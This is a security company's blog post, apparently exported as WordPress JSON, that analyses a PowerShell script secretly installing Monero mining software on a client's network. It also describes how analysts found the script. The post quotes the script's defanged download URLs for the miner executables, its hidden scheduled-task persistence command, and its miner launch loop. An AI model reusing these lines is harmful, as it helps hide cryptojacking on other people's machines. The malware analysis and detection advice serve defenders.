{"id":2797,"date":"2024-09-25T20:00:25","date_gmt":"2024-09-25T20:00:25","guid":{"rendered":"https:\/\/xdr-mdr.lmntrix.com\/main_web\/?p=2797"},"modified":"2025-07-29T06:39:41","modified_gmt":"2025-07-29T06:39:41","slug":"powershell-monero-miner-tunnelling-under-traditional-anti-virus","status":"publish","type":"post","link":"https:\/\/lmntrix.com\/blog\/powershell-monero-miner-tunnelling-under-traditional-anti-virus\/","title":{"rendered":"Powershell Monero Miner tunnelling under traditional anti-virus"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"477\" height=\"318\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/broken-eggs-1711144_960_720.webp\" alt=\"\" class=\"wp-image-2805\"\/><\/figure>\n<\/div>\n\n\n<p>Although the crypto-currency hype now seems to be dying down, the emergence of a popular new currency in mid-2017 inspired hackers to develop malicious tools to harvest the new coin \u2013 Monero (XMR).<\/p>\n\n\n\n<p>In fact, some of the mining malware released in the wild more than a year ago \u2013 when Monero\u2019s popularity really took off \u2013 is still successfully being used in attacks today.<\/p>\n\n\n\n<p>Late last month, LMNTRIX researchers discovered a PowerShell script that silently downloaded Monero miner programs designed to exploit the victim\u2019s CPU.&nbsp;<\/p>\n\n\n\n<p>It was found during LMNTRIX Hunt activities in one of our client\u2019s networks. During Hunt engagements, our analysts methodically pursue and evict adversaries inside a network, all without relying on IOCs. As the malware was able to bypass the client\u2019s traditional defences, analysts had to monitor suspicious activity in real-time in order to isolate the malware\u2019s location before removing it.<\/p>\n\n\n\n<p>In this case, using PowerShell to deploy the malware enabled the attackers to maintain a level of persistence our analysts had not previously seen in the coin miner malware family. &nbsp;&nbsp;<\/p>\n\n\n\n<p><strong>Sample details<\/strong><\/p>\n\n\n\n<p>File Hash: 3bf089f79e6f0fe0ad0f6ff6aab1d063e327f88894e21d4a8b424a10cb6806d1<\/p>\n\n\n\n<p>File Size: 1 KB<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"475\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/1-51-1024x475.webp\" alt=\"\" class=\"wp-image-2800\"\/><\/figure>\n\n\n\n<p><em>Figure 1. Current VT detection for this sample<\/em><\/p>\n\n\n\n<p>At the time of writing, only 10 out of 57 AV vendors listed in VirusTotal were detecting this sample as malicious. This is despite the fact it has been in the wild for more than a year:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"456\" height=\"144\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/2-49.webp\" alt=\"\" class=\"wp-image-2801\"\/><\/figure>\n\n\n\n<p><em>Figure 2. Sample Submission history<\/em><\/p>\n\n\n\n<p><strong>Sample code analysis<\/strong><\/p>\n\n\n\n<p>This malware\u2019s script was very precise and succinct. First, it downloaded two PE files designed to carry out the Monero mining function.<\/p>\n\n\n\n<p>$url = \u201chxxps:\/\/x4ndj[.]github[.]io\/files\/minerd.exe&#8221;<\/p>\n\n\n\n<p>$surl = \u201chxxps:\/\/x4ndj[.]github[.]io\/files\/OneDrive.exe\u201d<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"614\" height=\"149\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/3-48.webp\" alt=\"\" class=\"wp-image-2802\"\/><\/figure>\n\n\n\n<p><em>Figure 3. Miner files &#8211; downloading URL<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"992\" height=\"373\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/4-49.webp\" alt=\"\" class=\"wp-image-2803\"\/><\/figure>\n\n\n\n<p>&nbsp;<br><br><em>Figure 4. URL result \u2013 minerd.exe<\/em><br><br>As we see above, only two AV vendors flagged these URLs as malicious despite the strain\u2019s first appearance more than a year ago.<br><br><strong>Code structure and functionality<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"471\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/5-46-1024x471.webp\" alt=\"\" class=\"wp-image-2804\"\/><\/figure>\n\n\n\n<p><em>Figure 5. Malware\u2019s complete script cycle&nbsp;<\/em><br><br>\u25cf&nbsp;&nbsp; &nbsp;First, the script downloads the miner executables, both of which are saved into the TEMP location. These executables are saved with seemingly legitimate names; <strong>OneDrive.exe<\/strong> and <strong>yam.exe<\/strong>.<br><br>\u25cf&nbsp;&nbsp; &nbsp;The script then copies itself to the user\u2019s home directory in order to maintain persistence. <strong>yam.exe<\/strong> is also copied to <strong>Tkinstaller.exe<\/strong> within the TEMP folder.<br><br>\u25cf&nbsp;&nbsp; &nbsp;A scheduled task is then created to invoke itself from the user\u2019s home directory every six minutes:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>SchTasks.exe \/Create \/SC MINUTE \/TN &#8220;User_Feed_Synchronization-{9A285FA7A2A0A-F17D-47B82-9343F9-A22AKFS2A0}&#8221; \/TR &#8220;PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $HOME\\xxxx.ps1&#8221; \/MO 6 \/F<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u25cf&nbsp;&nbsp; &nbsp;While in loop condition, the malware checks whether mining is running or not:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp; &nbsp; &nbsp; &nbsp; echo &#8220;Not running&#8221;<br>&nbsp; &nbsp; &nbsp; &nbsp; cmd.exe \/C $env:TMP\\OneDrive.exe<br>&nbsp; &nbsp; &nbsp; &nbsp; cmd.exe \/C $env:TMP\\Tkinstaller.exe -c x -M stratum+tcp:\/\/address:x@xmr(.)crypto-pool(.)fr:443\/xmr &nbsp; &nbsp; &nbsp;} else {<br>&nbsp; &nbsp; &nbsp; &nbsp; echo &#8220;Running&#8221;<br>&nbsp; &nbsp; }<br>&nbsp; &nbsp; Start-Sleep 40<br>}<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>This helps the script determine whether the system is mining or not. If not, it executes the whole PowerShell script. The whole process repeats every time the scheduled task is run.<br><br><strong>Hunt Techniques<\/strong><br><br>Our dedicated Hunt team used several techniques to unearth the malware as it had successfully bypassed the client\u2019s traditional perimeter controls. Despite the strain\u2019s advanced evasion techniques, LMNTRIX analysts were able to zero-in on its location by monitoring the following unusual activities:<br><br>\u2022&nbsp;&nbsp; <strong>&nbsp;PowerShell Execution<\/strong> \u2013 Logging PowerShell commands is a fundamental tactic in the detection of anomalous command\/script execution. By enabling Script Block Logging on system or via GPO, very granular logs can be collected. When used in malware, PowerShell is typically used as a way to evade detection and maintain persistence \u2013 as defined in <a href=\"https:\/\/attack.mitre.org\/wiki\/Technique\/T1086\" target=\"_blank\" rel=\"noopener\">MITRE ATTACK Matrix<\/a>.&nbsp;<br><br>\u2022&nbsp;&nbsp; &nbsp;<strong> \u201cschtasks.exe\u201d Execution<\/strong> \u2013 By seeking out suspicious schtasks, incident responders were able to identify the suspicious task which was scheduled to execute. &nbsp;schtasks.exe provide the creation, modification, and running of scheduled tasks on a local or remote computer. When used by attackers, tasks are given genuine looking task names (OneDrive.exe). In this case, it was a dead giveaway as the next run (if OneDrive.exe was legitimate) should\u2019ve been \u2018Task Run\u2019. As this wasn\u2019t the case, it was clear a malicious task was being scheduled.<br><br>\u2022&nbsp;&nbsp; &nbsp;<strong>Suspicious Run Locations <\/strong>\u2013 Attackers often place their malicious binaries in unusual locations, such as, RECYCLER, SystemVolumeInformation, %TEMP%, %APPDATA%, %LOCALAPPDATA%, %USERPROFILE% .etc. Analysts monitored such uncommon directories and were able to confirm the malware\u2019s location. This can also be achieved by whitelisting the directories from which authorised and legitimate binaries should be executed. In this case, the malware was executing from the TMP location \u2013 an immediate red flag.&nbsp;<br><br>\u2022&nbsp;&nbsp; &nbsp;<strong>Processes Spawning cmd.exe <\/strong>\u2013 Parent processes that spawn command prompts may be suspicious in nature based on the number of occurrences, the name of the parent process, or the execution directory. Generally, cmd is legitimately invoked by explorer.exe, logon scripts, administrative tools, and automated programs. In this case our analysts saw the parent process, powershell.exe, spawn cmd.exe \u2013 another red flag.<br><br><strong>Indicators of Compromise&nbsp;<\/strong><br><br>\u2022&nbsp;&nbsp; &nbsp;<strong>Hash:<\/strong> 3bf089f79e6f0fe0ad0f6ff6aab1d063e327f88894e21d4a8b424a10cb6806d1<br><br>\u2022&nbsp;&nbsp; &nbsp;<strong>URL:<\/strong> hxxps:\/\/x4ndj[.]github[.]io\/files\/minerd.exe<br><br>\u2022&nbsp;&nbsp;<strong> &nbsp;URL:<\/strong> hxxps:\/\/x4ndj[.]github[.]io\/files\/OneDrive.exe<br><br><strong>Conclusion<\/strong><br><br>PowerShell scripts are mostly used by system administrators to automate tasks which might involve downloading certain files, creating scheduled tasks, and other commands. This is the primary reason why most vendors on VirusTotal did not identify the script as malicious. It is recommended to have a Threat Hunting dashboard ready for relevant analytics from known TTPs (as shown in the \u2018Threat Hunting\u2019 section) in order to identify the threats that fly below the traditional AV radar.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Although the crypto-currency hype now seems to be dying down, the emergence of a popular new currency in mid-2017 inspired hackers to develop malicious tools to harvest the new coin &ndash; Monero (XMR). In fact, some of the mining malware released in the wild more than a year ago &ndash; when Monero&rsquo;s popularity really took [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2805,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-2797","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-labs"],"_links":{"self":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2797","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/comments?post=2797"}],"version-history":[{"count":5,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2797\/revisions"}],"predecessor-version":[{"id":4313,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2797\/revisions\/4313"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/media\/2805"}],"wp:attachment":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/media?parent=2797"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/categories?post=2797"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/tags?post=2797"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}